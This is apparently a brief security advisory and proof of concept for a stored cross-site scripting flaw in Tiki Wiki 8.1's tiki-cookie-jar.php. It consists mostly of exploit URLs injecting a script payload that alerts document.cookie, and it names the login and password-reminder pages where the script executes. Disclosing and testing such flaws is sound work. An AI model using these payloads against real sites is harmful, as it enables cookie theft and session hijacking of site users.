==========================
Vulnerability Description
==========================
All current releases of Tiki Wiki are prone to a stored XSS vulnerability
==================
PoC-Exploit
==================
Tested with Firefox 7.01
Visit this URL
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site
But when you visit one of this pages, the XSS will be executed
http://<target>/tiki-8.1/tiki-login.php
http://<target>/tiki-8.1/tiki-remind_password.php
// browser source code
show_errors: 'y',
xss: '</style></script><script>alert(document.cookie)</script>'
};
Another example:
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>
All of them will be executed!
// browser source code
show_errors: 'y',
xss1: '</style></script><script>alert(document.cookie)</script>',
xss2: '</style></script><script>alert(document.cookie)</script>',
